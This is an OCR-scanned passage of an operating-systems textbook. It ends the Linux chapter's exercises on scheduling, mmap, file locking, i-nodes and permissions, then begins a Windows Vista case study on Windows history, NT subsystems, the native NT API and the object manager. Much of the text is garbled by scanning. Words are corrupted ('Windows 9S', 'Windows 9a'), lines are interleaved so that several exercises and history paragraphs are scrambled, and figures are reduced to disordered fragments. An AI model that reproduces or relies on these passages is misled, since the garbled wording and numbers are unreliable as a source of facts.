corresponds to a conventional UNIX fork call? To creating a conventional UNIX 
thread? 

15. The Linux scheduler went through a major overhaul between the 2.4 and 2,6 kernel. 
The current scheduler can make scheduling decisions in 0(1) time, Explain why is this 
so? 

16. When booting Linux (or most pther operating systems for that matter), the bootstrap 
loader in sector 0 of the disk first loads a boot program which then loads the operating 
system. Why is this extra step necessary? Surely i t  would be simpler to have the 
bootstrap loader in sector 0 just load the operating system directly. 

17. A certain editor has 100 KB of program text, 30 KB of initialized data, and 50 KB of 
BSS. The initial stack is 10 KB, Suppose that three copies of this editor are started si
multaneously, How much physical memory is needed (a) if shared text is used, and (b) 
if it is not? 

18. In Linux, the data and stack segments are paged and swapped to a scratch copy kept 
on a special paging disk or partition, but the text segment uses the executable binary 
file instead. Why? 

19. Describe a way to use mmap and signals to construct an interprocess communication 
mechanism, 

20. A file is mapped in using the following mmap system call: 
mmap(65536, 32768, READ, FLAGS, fd, 0) 

Pages are 8 KB, Which byte in the file is accessed by reading a byte at memory ad
dress 72,000? 

21. After the system call of the previous problem has been executed, the call 
munmap(65536 , 8 1 92) 

is carried out. Does it succeed? If so, which bytes of the file remain mapped? If not, 
why does it fail? 

22. Can a page fault ever lead to the faulting process being terminated? If so, give an ex
ample. If not, why not? 

23. Is it possible that with the buddy system of memory management it ever occurs that 
two adjacent blocks of free memory of the same size co-exist without being merged 
into one block? If so, explain how. If not, show that it is impossible. 

24. It is stated in the text that a paging partition will perform better than a paging file. Why is this so? 
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25. Give two examples of the advantages of relative path names over absolute ones. 

26. The following locking cans are made by a c�nection of processes. For each call, ten 
what happens. If a process fails to get a lock, It blocks. 

(a) A wants a shared lock on bytes 0 through 10. 
(b) B wants an exclusive lock on bytes 20 through 30. 
(c) C wants a shared lock on bytes 8 through 40. 
(d) A wants a shared lock on bytes 25 through 35. 
(e) B wants an exclusive lock on byte 8. 

Consider the locked file of Fig. 1O�26(c). Suppose that a process tries to loc� byte� 1� 27. 
and 1 1  and blocks. Then, before C releases its lock, yet another p.rocess tnes. to oc 

b 10 d 1 1  and also blocks. What kinds of problems are mtroduced lOto the ytes an , I "  semantics by this situation? Propose and defend two so utlOOS. 

28. Suppose that an Iseek system call seeks to a negative offset in a file. Given two pos
sible ways of dealing with it. 

29. If a Linux file has protection mode 755 (octal), what can the owner, the owner's 
group, and everyone else do to the file? 

Some tape drives have numbered blocks and the ability to ?ve�rite a particular
d

bl�ck 30. 
in place without disturbing the blocks in front of or behmd It. Could such a eVlce 
hold a mounted Linux file system? 

I Pi 10-24 both Fred and Lisa have access to the file x in their respective dir�c-31. n
. 

Ig. 
fter li�kin(T Is this access completely symmetrical in the sense that anythmg tones a o' ? one of them can do with it the other one can toO. 

As we have seen, absolute path names are looked up st�ting. at the root directory an� 32. 
relative path names are looked up starting at the work1Og dIrectory. Suggest an effi 
dent way to implement both kinds of searches. 

. 
When the file lusrlastlworklJ is opened, several disk accesses are nee�ed to read 1-33. 
node and directory blocks. Calculate the number .of disk ac:esses reqUIred unde: th� 
assumption that the i-node for the root directory IS always 10 memory, and all dlrec 
tories are one block long. 

A Linux i-node has 12 disk addresses for data blocks. as well as t�e addresses of sin-34. (TIe double and triple indirect blocks. If each of these holds 256 ?Isk addr:sses, w�at is the size �f the largest file that can be handled, assuming that a dISk block IS 1 KB. 

When an i-node is read in from the disk during the process of opening a file, it is put 35. 
into an i-node table in memory. This table has some fields that a� not pres�nt on the 
disk. One of them is a counter that keeps track of the number of tImes the I-node has 
been opened. Why is this field needed? 

36. On multi-CPU platforms, Linux maintains a runqueue for each CPU. Is this a good 
idea? Explain your answer? 

37. Pdflush threads can be awakened periodically to write back to disk very old pages
older than 30 sec. Why is this necessary? 
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38. After a system crash and reboot, a recovery program is usually run. Suppose that this 
program discovers that the link count in a disk i-node is 2, but only one directory entry 
references the i-node. Can it fix the problem, and if so, how? 

39. Make an educated guess as to which Linux system call is the fastest. 

40. Is it possible to unlink a file that has never been linked? What happens? 

41. Based on the infonnation presented in this chapter, if a Linux ext2 file system were to 
be put on a 1.44 Mbyte floppy disk, what is the maximum amount of user file data that 
could be stored on the disk? Assume that disk blocks are 1 KB. 

42. In view of all the trouble that students can cause if they get to be superuser, why does 
this concept exist in the first place? 

43. A professor shares files with his students by placing them in a publicly accessible di
rectory on the Computer Science department's Linux system. One day he realizes that 
a file placed there the previous day was left world-writable. He changes the permis
sions and verifies that the file is identical to his master copy. The next day he finds 
that the file has been changed. How could this have happened and how could it have 
been prevented? 

44. Linux supports a system call fsuid. Unlike setuid, which grants the user all the rights 
of effective id associated with a program he is running, fsuid grants the u�er who is 
running the program special rights only with respect to access to files. Why is this 
feature useful? 

45. Write a minimal shell that allows simple commands to be started. It should also allow 
them to be started in the background. 

46. Using assembly language and BIOS calls, write a program that boots itself from a 
floppy disk on a Pentium-class computer. The program should use BIOS calls to read 
the keyboard and echo the characters typed, just to demonstrate that it is running. 

47. Write a dumb terminal program to connect two Linux computers via the serial ports. 
Use the POSIX terminal management calls to configure the ports. 

48. Write a client-server application which, on request, transfers a large file via sockets. 
Reimplement the same application using shared memory. Which version do you 
expect to perform better? Why? Conduct perrormance measurements with the code 
you have written and using different file sizes. What are your observations? What do 
you think happens inside the Linux kernel which results in this behavior? 

49. Implement a basic user-level threads library to run on top of Linux. The library API 
should contain function calls like mythread�Unit, mythreads_create, mythreads_ioin, 
my threads_exit, mythreads_yield, mythreads_se!f, and perhaps a few others. Next, im
plement these synchronization variables to enable safe' - concurrent operations: 
mythreads_mutex_init, mythreads_mutex . ...lock, mythreads_mutex....unlock. Before start
ing, clearly define the API and specify the semantics of each of the calls. Next imple
ment the user-level library with a simple, round-robin preemptive scheduler. You will 
also need to write one or more multithreaded applications, which use your library, in 
order to test it. Finally. replace the simple scheduling mechanism with another one 
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. like the Linux 2.6 0(1) scheduler described in this chapter. Compare 
whtch behaves 

pplication(s) receive when using each of the schedulers. 
the performance your a 1 1  

CASE STUDY 2: WINDOWS VISTA 

Windows is a modern operating system that runs on consumer and business 
desktop PCs and enterprise servers. The most recent desktop version is Windows 
Vista. The server version of Windows Vista is called Windows Server 2008. In 
this chapter we will examine various aspects of \Vindows Vista, starting with a 
brief history, then moving on to its architecture. After this we will look at proc
esses, memory management, caching, I/O, the file system, and finally, security_ 

11.1 HISTORY OF WINDOWS VISTA 

Microsoft's development of the Windows operating system for PC-based 
computers as well as servers can be divided into three eras: MS-DOS, MS-DOS
based Windows, and NT -based Windows. Technically, each of these systems is 
substantially different from the others. Each of these was d01:ninant during dif
ferent decades in the history of the personal computer. Fig. 1 1 -i shows the dates 
of the major Microsoft operating system releases for desktop computers (omitting 
the popular Microsoft Xenix version of UNIX, which Microsoft sold to the Santa 
Cruz Operation (SCO) in 1987). Below we will briefly sketch each of the eras 
shown in the table. 

809 
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Year 

1 981 

1983 

1984 

1990 

1991 

1992 

1 993 

1 995 

1 996 

1998 

2000 

2001 

2006 
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MS DOS MS�DOS�based NTMbased Notes 

Windows Windows 

MS DOS 1.0 Initial release for IBM PC 

MS-DOS 2.0 Support for PC/XT 

MS DOS 3.0 Support for PC/AT 

Windows 3.0 Ten million copies in 2 years 

MS 00S5.0 Added memory management 

Windows 3.1 Runs only on 286 and later 

Windows NT 3.1 

MS DOS 7.0 Windows 95 MS·DOS embedded in Win 95 

Windows NT 4.0 

Windows 98 

MS 00S8.0 Windows Me Windows 2000 Win Me was inferior to Win 98 

Windows XP Replaced Windows 9a 

Windows Vista 

Figure 11.1. Major ldeases in the history of Microsoft operating systems for 
desktop PCS. 

11.1.1 1980s: MS·DOS 

In the early 1980s IBM, at the time the biggest and most powerful computer 

com an in the world, was developing a personal computer based th: Intel 8?88 

·c �pr�cessor. Since the mid-1970s, Microsoft had become the leadmg provIder :1 
t�e BASIC programming language for 8-bit micro:omp�ters based on the 8080 

and Z-80. When IBM approached Microsoft about lIcensmg BASIC fo: 
cr
�he new 

IBM PC Microsoft readily agreed and suggested that IBM contact DloIt�l Re

se�rch t; license its CPIM operating system, since Microsoft was
. 
n?t then 10 the 

. 
t bus·lness IBM did that but the president of Dlgital Research, operatmcr sys em . ,  

. 
f G Kildall was too busy to meet with IBM, so it came back to Mlcroso t. 

W�n a sho� time, Microsoft bought a CPIM clone fr�m a 10c�1 company, Seat

tle Computer Products, ported it to the IBM PC, and licensed It to IBM. I� was 

h d MS DOS 1 0  (MicroSoft Disk Operating System) and shIpped t en rename � . 
with the first IBM PC in 198 L . . 

MS-DOS was a 16-bit real-mode, single-user, command-Ime-oneoted operat
incr system consisting of 8 KB of memory resident code. Over the next deca?�, 
bo�h the PC and MS-DOS continued to evolve, adding more features and capabIlI
ties By 1986 when IBM built the PC/AT based on the Intel 286, MS-DOS had 
gro�n to be 36 KB, but continued to be a command-line-oriented, one applIcation 
at a time, operating system. 

I I 
SEC. ILl HISTORY OF WINDOWS VISTA 811 

11.1.2 1990s: MS-DOS-based Windows 

Inspired by the graphical user interface of research systems at Stanford Re
search Institute and Xerox PARC, and their commercial progeny, the Apple Lisa 
and the Apple Macintosh, Microsoft decided to give MS-DOS a graphical user in
terface that it called Windows. The first two versions of Windows (1985 and 
1987) were not very successful, due in part to the limitations of the PC hardware 
available at the time. In 1990 Microsoft released Windows 3.0 for the Intel 386, 
and sold over one million copies in six months. 

Windows 3.0 was not a true operating system, but a graphical environment 
built on top of MS-DOS, which was still in control of the machine and the file sys
tem. All programs ran in the same address space and a bug in any one of them 
could bring the whole system to a frustrating halt. 

In August 1995, Windows 9S was released. It contained many of the features 
of a full-blown operating system, including virtual memory, process management, 
and multiprogramming, and introduced 32-bit programming interfaces. However, 
it still lacked security, and provided poor isolation between applications and the 
operating system. Thus the problems with instability continued, even with the 
subsequent releases of Windows 98 and Windows Me, where MS-DOS was still 
there running 16-bit assembly code in the heart of the Windows operating system. 

11.1.3 2000s: NT-based Windows 

By end of the 1980s, Microsoft realized that continuing to evolve an operating 
system with MS-DOS at its center was not the best way to go. PC hardware was 
continuing to increase in speed and capability. and ultimately the PC market 
would collide with the desktop workstation and enterprise server computing mark
ets, where UNIX was the dominant operating system. Microsoft was also con
cerned that the Intel microprocessor family might not continue to be competitive, 
as it was already being challenged by RISC architectures. To address these is
sues, Microsoft recruited a group of engineers from DEC led by Dave Cutler, one 
of the key deSigners of DEC's VMS operating system. Cutler was chartered to 
develop a brand-new 32-bit operating system that was intended to implement 
OS/2, the operating system API that Microsoft was jOintly developing with IBM 
at the time. The original design documents by Cutler's team called the system NT 
OS/2. 

Cutler's system was called NT for New Technology (and also because the 
original target processor was the new Intel 860, code named the NI0). NT was 
designed to be portable across different processors and emphasized security and 
reliability, as well as compatibility with the MS*DOS-based versions of Windows. 
Cutler's background at DEC shows in various places, with there being more than 
a passing similarity between the design of NT and that of VMS and other operat
ing systems designed by Cutler, shown in Fig. 1 1 -2. 
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Year DEC operating system Characteristics 

1 973 RSX-1 1 M  1 6-blt, multi-user, real-time, swapping 

1 978 VAXNMS 32-bit, virtual memory 

1 987 VAXELAN Real-time 

1 988 PRISM/Mica Canceled in favor of MIPS/Ultrix 

Figure 11-2. DEC Operating Systems developed by Dave Cutler. 

When DEC's eno-ineers (and later its lawyers) saw how similar NT was to 
VMS (and also to it; never-released successor, MICA) a discussion ensued be
t�een DEC and Microsoft about Microsoft's use of DEC's intellectual property_ 
The issue was eventually settled out of court In addition, Microsoft agreed �o 
support NT on the DEC Alpha for a certain pefio.d 

.o
f time. Howeve�, n�ne of thIS 

was enough to save DEC from its fixation on ffillllcomputers and dlSdaI� for pe:
sonal computers, typified by DEC founder Ken Olsen's 1977 remark: There IS 
no reason anyone would want a computer in their [sic] home." In 1998, what was 
left of DEC was sold to Compaq, which was later bough� by Hewlett-Packard. 

. Programmers familiar only with UNIX find the architecture of NT to be qUlte 
different. This is not just because of the influence of VMS, but a�so becaus� of 
the differences in the computer systems that were common at the time of desIgn. 
UNIX was first designed in the 1970s for single-processor, 16-bit, tiny-memor�, 
swapping systems where the proce:s was the. unit o� concurren�y and composI
tion and fork/exec were inexpensIve operations (smce swappmg systems fre
que�tly copy processes to disk a�yway). NT �as designed in the early 1990s, 
when multiprocessor, 32-bit, multl-megabyte, vIrtual me�ory. syst�ms were :om
mon In NT threads are the unit of concurrency, dynanuc hbranes the umts of 
com�osition, and fork/exec are implemented by a single operation to create a new 
process and run another program with�ut first ma�ing a copy. . The first version of NT-based Wmdows (Wmdows NT 3.1) was rele�sed III 
1993. It was called 3 . 1  to correspond with the then-current consumer :"mdows 
3.1 .  The joint project with IBM had foundered, so th?ugh th� OS/2 mterfa�es 
were still supported, the primary interfaces were 32-blt extensIOns of the. Wm
dows APls, called Win32. Between the time NT was started and first :hlpped, 
Windows 3.0 had been released, and was extremely successful commerclally. It 
too was able to run Win32 programs, but using the Win32s compatibili�y library. 

Like the first version of MS-DOS-based Windows, NT-based Wmdo.ws w�s 
not initially successful. NT required more memory, there were few. 32�blt applI
cations available, and incompatibilities with device drivers and .apphc.atlons caus
ed many customers to stick with MS-DOS-based Windows WhICh .Mlcros�ft was 
still improving, releasing Windows 95 in 1995. Windo�� ?5 p�ovlde� �atIve 3�
bit programming interfaces like NT, but better compatibIlIty WIth eXISting 16-blt 

SEC. I Ll  HISTORY OF WINDOWS VISTA 813 
software and applications. Not surprisingly, NT's early success was in the server market, competing with VMS and NetWare. NT did meet its portability goals, with additional releases in 1994 and 1995 adding support for (Iittle-endian) MIPS and PowerPC architectures. The first major upgrade to NT came with Windows NT 4.0 in 1996. This system had the power, security, and reliability of NT, but also sported the same user interface as the by-then very popular Windows 95. 

Fig. 1 1-3 shows the relationship of the Win32 API to Windows. Having a common API across both the MS-DOS-based and NT-based Windows was important to the success of NT. 
This compatibility made it much easier for users to migrate from Windows 95 to NT, and the operating system became a strong player in the high-end desktop market as well

. 
as servers. However, customers were not as willing to adopt other ?fOCeSSOr archItectures, and of the four architectures Windows NT 4.0 supported III 1996 (the DEC Alpha was added in that release), only the x86 (Le., Pentium family) was still actively supported by the time of the next major release, Windows 2000. 

Win32 application program 

Figure 11-3. The Win32 API allows programs to run on almost all versions of 
Windows. 

. 
Windows 2000 represented a significant evolution for NT. The key technolo

gieS added were plug-and-play (for consumers who installed a new PCI card 
eliminating the need to fiddle with jumpers), network directory services (for en� 
teIJ?rise customers), improved power management (for notebook computers), and 
an Improved GUr (for everyone). 

The technical success of Windows 2000 led Microsoft to push toward the 
deprecation of Windows 98 by enhancing the application and device compatibility 
of the next NT release, Windows XP. Windows XP included a friendlier new 
look -and-feel to the graphical interface, bolstering Microsoft's ·strategy of hooking 
consum�rs an� reaping the benefit as they pressured their employers to adopt sys
tems WIth w�lCh �ey were already familiar. The strategy was overwhelmingly 
successful, WIth Wmdows XP being installed on hundreds of millions of PCs over 
its first few years, allowing Microsoft to achieve its goal of effectively ending the 
era of MS-DOS-based Windows. 
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Windows XP represented a new development reality for Microsoft, with sepa
rate releases for desktop clients from those for enterprise servers. The system was 
simply too complex to produce high-quality client and server releases at the same 
time. Windows 2003 was the server release complementing the Windows XP cli
ent operatina system. It provided support for the 64-bit Intel Itanium (IA64) and, 
at its first se';vice pack, SUppOlt for the AMD x64 architecture on both servers and 
desktops. Microsoft used the time between the client and server releases to add 
server -specific features, and con�uct exten�ed testing focused on �e a�pects �f 
the system primarily used by busmesses. FIg. 1 1  A shows the reiatlonshlp of ch
ent and server releases of Windows. 

Year Client version Year Server version 

1996 Windows NT 1996 Windows NT Server 

1999 Windows 2000 1 999 Windows 2000 Server 

2001 Windows XP 2003 Windows Server 2003 

2006 Windows Vista 2007 Windows Server 2008 

Figure 11·4. Split client and server releases of Windows. 

Microsoft followed up Windows XP by embarking on an ambitious release to 

kindle renewed excitement among PC consumers. The res�lt, Windows Yista, 

was completed in late 2006, more than five years after Wmdows XP shipped. 

Windows Vista boasted yet another redesign of the graphical interface, an� �ew 

security features under the covers. Most of the changes were in customer-VIsIble 

experiences and capabilities. The technologies under the covers of the system 

improved incrementally, with much clean-up of the code and many improv�ments 

in performance, scalability, and reliability. The server version o� Vista (Wmdows 

Server 2008) was delivered about a year after the consumer VerSIon. It shares the 

same core system components, such as the kernel, drivers, and low-level libraries 

and proarams with Vista. 
The

o 
human story of the early development of NT is related in the book Show

stopper (Zachary, 1994). The book tells a lot about the key people involv�d, and 

the difficulties of undertaking such an ambitious software development project. 

11.1.4 Windows Vista 

The release of Windows Vista culminated Microsoft's most extensive operat
ino- system project to date. The initial plans were so ambitious that a couple of 
ye�rs into its development Vista had to be restarted with a smaller scope. Plans to 
rely heavily on Microsoft's type-safe, garbage-collected .NET language C# were 
shelved, as were some significant features such as the WinFS unified storag� sys
tem for searching and organizing data from many different sources. The SIze of 
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the full operating system is staggering. The original NT release of 3 million lines 
?f CIC-:+ that had �rown to 16 million in NT 4, 30 million in 2000, and 50 million 
III XP, IS over 70 mIllion lines in Vista. 

. Much of th� size is due to Microsoft's emphasis on adding many new features 
to Its products In every release. In the main system32 directory there are 1600 
dynamic link libraries (DLLs) and 400 executables (EXEs), and �hat does not in� 
clu�e the other directories containing the myriad of applets included with the op
era�lflg system that allow users to surf the Web, play music and video, send e
maIl, scan documents, organize photos, and even make movies. Because Micro� 
soft wants �ustomers to switch to new versions, it maintains compatibility by gen
erall� keepIn? all the features, APls, applets (small applications), etc., from the 
preVIOUS versIOn. Few things ever get deleted. The result is that Windows O-fOWS 
�ramatic�lly release to release� Technology has kept up, and Windows' dis�ribu
tIOn medIa have moved from floppy, to CD, and now with Windows Vista DVD 

. 
The bloat in features and applets at the top of Windows makes rne�nino-ful 

SIze comparisons with other operating systems problematic because the definition 
of what is or is not part of an operating system is difficult to decide. At the lower 
layers of operating systems, there is more correspondence because the functions 
perfonned are very similar. Even so we can see a bia difference in the size of 
�indows. Fig. 11-5 comp�res the �indows and Linux kernels for three key func
tIOnal areas: CPU schedulmg, I/O mfrastructure, and Virtual Memory.* The first 
two components are half again as large in Windows, but the Virtual Memory com
P?nent is an order of magnitude Jarger-due to the large number of features, the 
VIrtual memory model used, and implementation techniques that trade off code 
size to achieve higher perfonnance. 

Kernel area Linux Vista 
CPU Scheduler 50,000 75,000 
!/O infrastructure 45,000 60,000 
Virtual Memory 25,000 175,000 

Figure 11�5. Comparison of lines of code for selected kernel-mode modules in 
Linux and Windows (from Mark Russinovich, co-author of Microsoft Windows 
Internals). 

11.2 PROGRAMMING WINDOWS VISTA 

It is now time to start our technical study of Windows Vista. However before 
getting into the details of the internal structure we will first take a look at the 
natlV? NT API. for. �ystem calls, and then the Win32 programming subsystem. 
Despite the avaIlabIlIty of POSIX, virtually all the code written for Windows uses 
either Win32 directly, or .NET-which itself runs on top ofWin32. 
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Fig. 11-6 shows the layers of the Windows Oper�ting. 
System. Beneath . the 

applet and GUI layers of Window� are the programmmg �nterfaces that apph�a
tions build on. As in most operatmg systems, these conslst largely o� code hb
rmies (DLLs) which programs dynamically link to for ac�ess. to operatmg �ystem 
features. Windows also .includes a number of programmmg m�erf�ces whlch a�e 
implemented as services that run as separate processes. ApphcatIons commUll1-
cate with user-mode services through remote-procedure-calls (RPC). 

NT services: 
smss, Isass, 

services, winlogon, 

User-mode I . . . . . . 
Kernel-mode 1 

Drivers: devices, 
file systems, network 

Applets (sma!! Win32 executables) 
GUI (sheIl32.dU, user32.dH, gdi32.dU) 
Dynamic Libraries (ole32.dll, rpc.dll, ... ) i l Subsystem process I Subsystem API (kemeI32.dl, advapi32l.dll) (csrss) 

Native NT AP1,C/C++ run·time (ntdll.dU) I 
. .. .. . .. . . . ..... . . . .. ... . .. . .. . . . . . . . . . . . . . . . . . . . . . . . . 

NTOS ,·."rnel layer (ntoskrnl.exe) 

NTOS executive layer (ntoskrnLexe) 

Hardware abstraction layer (haLdU) 

Figure 11.6. The programming layers in Windows. 

The core of the NT operating system is the NTOS kernel-mode pr.ogram 
ntoskmLexe), which provides the traditional system-call interfaces upon w�lch the 
rest of the operating system is built. In Windows, only programmers at MIcrosoft 
write to the system call layer. The published user-mode interfaces all belong to 
operating system personalities that are implemented using subsystems that run on 
top of the NTOS layers. . Originally NT supported three personalities: OS/2, POSIX and Wm32. OS/2 
was discarded in Windows XP. POSIX was also removed, but customers can get 
an improved POSIX subsystem called lnterix as part of Micros?ft'� Services For 
UNIX (SFU), so all the infrastructure to support POSIX remams m. the system. 
Most Windows applications are written to use Win32, although MIcrosoft also 
supports other APIs. . Unlike Win32, .NET is not built as an official subsystem on the native NT 
kernel interfaces. Instead .NET is built on top of the Win32 programming. modeL 
This allows .NET to interoperate well with existing Win32 pr�grams, w�lch was 
never the (Toal with the POSIX and OS/2 subsystems. The WmFX API mcludes 
many of the features of Win32, and in fact many of the functions in the WinFX 
Base Class Library are simply wrappers around Win32 APIs_ The advantages of 
WinFX have to do with the richness of the object types supported, the simplified 
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�onsis�ent interfaces, and use of the .NET Common Language Run-time (CLR), 
mcludmg garbage-collection. 

As shown in Fig. 1 1-7, NT subsystems are built out of four components: a 
subsystem process, a set of libraries, hooks in CreateProcess, and support in the 
kern�l.

. 
A subsystem process is really just a service. The only special property is 

that It IS started by the srnss.exe (session manager) program-the initial user-mode 
program started by NT-in response to a request from CreateProcess in Win32 or 
the corresponding API in a different subsystem. 

User-mode 
Kernel-mode 

Program process I t 
Subsystem I libraries 

t 
Subsystem run-time library I (CreateProcess hook) I Subsystem process 

Native NT API,GJG++ run-time 
. . .. . . . . . . . . .  . . � .. .. . . . . . H / + 

'" " Subsystem 
Local procedure keme! support 

Native NT call (LPG) 
system services 

NTOS Executive 

Figure 11·7. The components used to build NT subsystems. 

The set of libraries implements both higher-level operating-system functions 
specific to the subsystem as well as containing the stub routines which communi
cate between processes using the subsystem (shown on the left) and the subsystem 
process itself (shown on the right). Calls to the subsystem process nonnally take 
place using the kernel-mode LPC (Local Procedure Call) facilities, which im
plement cross-process procedure cans. 

The hook in Win32 CreateProcess detects which subsystem each program re
quires by looking at the binary image. It then asks smss. exe to start the subsystem 
process csrss.exe (if it is not already running). The subsystem process then takes 
over responsibility for loading the program. The implementation of other subsys
tems have a similar hook (e.g., in the exec system call in POSIX). 

The NT kernel was designed to have a lot of general purpose facilities that 
can be used- for writing operating-system-specific subsystems_ But there is also 
special code that must be added to correctly implement each subsystem_ As ex
amples, the native NtCreateProcess system call implements process duplication 
in support of POSIX fork system call, and the kernel implements a particular kind 
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of string table for Win32 (caUed atoms) which allows read-only strings to be effi-
ciently shared acrosS processes. 

. _ 
The subsystem processes are native NT programs whIch use the native system 

calls provided by the NT kernel and core services, such �s smss.exe and lsass.exe 
(local security administration). The native system calls mclude �ross�process fa
cilities to manage virtual addresses, threads, handles, and exceptIOns m the proc
esses created to run programs written to use a particular subsystem. 

11.2.1 The Native NT Application Programming Interface 

Like all other operating systems, Windows Vista has a set of system cal1� it 
can perform. In Windows Vista these are implen:ented in the NTOS exec�t1ve 
layer that runs in kernel mode. Microsoft has publIshed very few of the details of 
these native system calls. They are used internally by lower-level programs that 
ship as part of the operating system (mainly services and the subsystems), as well 
as kernel-mode device drivers. The native NT system calls do not really chan�e 
very much from release to release, but Microsoft chose not to

. 
make them pubhc 

so that applications written for Windows would be based on Wm�2 and thus more 
likely to work with both the MS-DOS-based and NT-based Wmdows systems, 
since the Win32 API is common to both. . 

Most of the native NT system calls operate on kernel-mode objects of one 
kind or another, including files, processes, threads, pipes, semaphores, and s� on. 
Fig. 1 1-8 gives a list of some of the common categori�s of kernel-�ode objects 
supported by NT in Windows Vista. Later, when we d1scuss the object manager, 
we will provide further details on the specific object types. 

Object category Examples 

Synchronization Semaphores, mutexes, events, !PC ports, !/O completion queues 

110 Files, devices, drivers, timers 

Program Jobs, processes, threads, sections, tokens 

Win32 GU! Desktops, application callbacks 

Figure 11-8. Common categories of kernel-mode object types. 

Sometimes use of the tenn object regarding the data structures m�nipu1�ted by 
the operating system can be confusing because it is mistaken f�r obJect-onented. 
Operating system objects do provide data hiding and abstraction, bu� the� lack 
some of the most basic properties of object -oriented systems such as mhentance 
and polymorphism. 

In the native NT API there are calls available to create new kernel-mode ob
jects or access existing ones. Every call creating or opening an object returns a re
sult called a handle to the caller. The handle can subsequently be used to perform 
operations on the object. Handles are specific to the process that created them. In 

SEC. l L2 PROGRAMMING WINDOWS VISTA 819 

general handles cannot be passed directly to another process and used to refer to 
the same object. However, under certain circumstances, it is possible to duplicate 
a handle into the handle table of other processes in a protected way, allowing 
processes to share access to objects--even if the objects are not accessible in the 
namespace. The process duplicating each handle must itself have handles for both 
the source and target process. 

Every object has a security descriptor associated with it, telling in detail who 
may and may not perfonn what kinds of operations on the object based on the ac
cess requested. When handles are duplicated between processes, new access resw 
trictions can be added that aTe specific to the duplicated handle. Thus a process 
can duplicate a read-write handle and turn it into a read-only version in the target 
process. 

Not all system-created data structures are objects and not all objects are 
kernel-mode objects. The only ones that are true kernel-mode objects are those 
that need to be named, protected, or shared in some way. Usually, these kernel
mode objects represent some kind of programming abstraction implemented in the 
kernel. Every kernel-mode object has a system-defined type, has well-defined op� 
erations on it, and occupies storage in kernel memory. Although user-mode prow 
grams can perform the operations (by making system calls), they cannot get at the 
data directly. 

Fig. 1 1-9 shows a sampling of the native APIs, all of which use exp'licit hand
les to manipulate kernel-mode objects such as processes, threads, IPe ports, and 
sections (which are used to describe memory objects that can be mapped into ad
dress spaces). NtCreateProcess returns a handle to a newly created process ob� 
ject, representing an executing instance of the program represented by the Sec
tionHandle. DebugPortHandle is used to communicate with a debugger when giv
ing it control of the process after an exception (e.g., dividing-by-zero or accessing 
invalid memory). ExceptPortHandle is used to communicate with a subsystem 
process when errors occur and are not handled by an attached debugger. 

NtCreateProcess(&ProcHandle, Access, SectionHandJe, DebugPortHandle, ExceptPortHandle, 
NtCreateThread(&ThreadHandle, ProcHandle, Access, ThreadContext, CreateSuspended, 
NtAHocateVirtuaIMemory(ProcHandle, Addr, Size, Type, Protection, ... ) 

NtMapViewOfSection(SectHand!e, ProcHandle, Addr, Size, Protection, .. .) 
NtReadVirtuaIMemory(ProcHandle, Addr, Size, ... ) 

NtWriteVirtuaIMemory(ProcHand!e, Addr, Size, ... ) 

NtCreateFile(&FileHandle, FfleNameDescriptor, Access, . . ) 
NtDuplicateObject(srcProcHand!e, srcObjHandle, dstProcHandle; dstObjHandle, ... ) 

Figure 11-9. Examples of native NT API calls that use handles to manipulate 
objects across process boundaries. 

... ) 
. . .  ) 
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NtCreate Thread takes ProcHandle because it can create a thread in any proc
ess for which the calling process has a handle (with sufficient access rights). Sim
ilarly, .NtAI10cateVirtualMemory, NtMapViewOfSection, NtReadVirtualMemory and 
NtWrlteVirtualMemory allow one process to operate not only on its own address 
space, but to allocate virtual addresses, map sections, and read or wr�te virtual 
memory in other processes. NtCreateFHe is the native API call for creatmg a �ew 
fuke, or opening an existing one. NtDuplicateObject is the API call for duplIcat
ing handles from one process to another. 

Kernel-mode objects are of course not unique to Windows. UNIX systems 
also support a variety of kernel-mode objects, such as. files, networ�

. �
ock�ts, 

pipes, devices, processes, and inter-process communicallon (IPC) faCilities lIke 
shared�memory, message ports, semaphores, and 1I0 devices. In UNIX there are a 
variety of ways of naming and acceSSing objects, such as file descriptors, proc.ess 
IDs, and integer IDs for SystemV IPC objects, and i-nodes for deVIces. !he Im
plementation of each class of UNIX objects is specific to the class. FlIes and 
sockets use different facilities than the System V IPC mechanisms or processes or 
devices. 

Kernel objects in Windows use a uniform facility based on handles and names 
in the NT namespace to reference kernel objects, along with a unified imple
mentation in a centralized object manager. Handles are per-process but, as de
scribed above, can be duplicated into another process. The object manager allows 
objects to be given names when they are created, and then opened by name to get 
handles for the objects. 

The object manager uses Unicode (wide characters) to represent names in the 
NT namespace. Unlike UNIX, NT does not generally distinguish between upper 
and lower case (it is case-preserving but case-insensitive). The NT namespace is 
a hierarchical tree-structured collection of directories, symbolic links and objects. 

The object manager also provides unified facilities for synchronization, secu
rity, and object lifetime management. Whether the general facilities provided by 
the object manager are made available to users of any particular object is up to the 
executive components, as they provide the native APIs that manipulate each ob
ject type. 

It is not only applications that use objects managed by the object manager. 
The operating system itself can also create and use objects-and does so heavily. 
Most of these objects are created to anow one component of the system to store 
some information for a substantial period of time or to pass some data structure to 
another component, and yet benefit from the naming and lifetime support of the 
object manager. For example, when a device is discovered, one or more device 
objects are created to represent the device and to logically describe how the de
vice is connected to the rest of the system. To control the device a device driver 
is loaded, and a driver object is created holding its properties and providing 
pointers to the functions it implements for processing the I/O requests. W�thin the 
operating system the driver is then referred to by using its object. The dnver can 
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also be accessed directly by name rather than indirectly through the devices it 
controls (e.g., to set parameters governing its operation from user mode). 

Unlike UNIX, which places the root of its namespace in the file system, the 
root of the NT namespace is maintained in the kernel's virtual memory. This 
means that NT must recreate its top-level namespace every time the system boots. 
U�ing kernel vir:tual. memory allows NT to store information in the namespace 
WIthOut first havmg to start the file system running. It also makes it much easier 
for NT to add new types of kernel-mode objects to the system because the formats 
of the file systems themselves do not have to be modified for each new object 
type. 

A named object can be marked permanent, meaning that it continues to exist 
until explicitly deleted or the system reboots, even if no process currently has a �andle for the ?bject. Such objects can even extend the NT namespace by provid
:ng parse ro?tmes that allow the objects to function somewhat like mount points 
m UNIX. FIle systems and the registry use this facility to mount volumes and 
hives onto the NT namespace. Accessing the device object for a volume gives ac
cess to the raw volume, but the device object also represents an implicit mount of 
the volUme into the NT namespace. The individual files on a volume can be ac
cessed by concatenating the volume-relative filename onto the end of the name of 
the device object for that volume. 

Pennanent names are also used to represent synchronization objects �nd shar
ed memory, so that they can be shared by processes without being continually 
r�created as processes stop and start. Device objects and often driver objects are 
gIven permanent names, giving them some of the persistence properties of the 
special i-nodes kept in the /dev directory of UNIX. 

We will describe many more of the features in the native NT API in the next 
section, where we discuss the Win32 APls that provide wrappers around the NT 
system calls. 

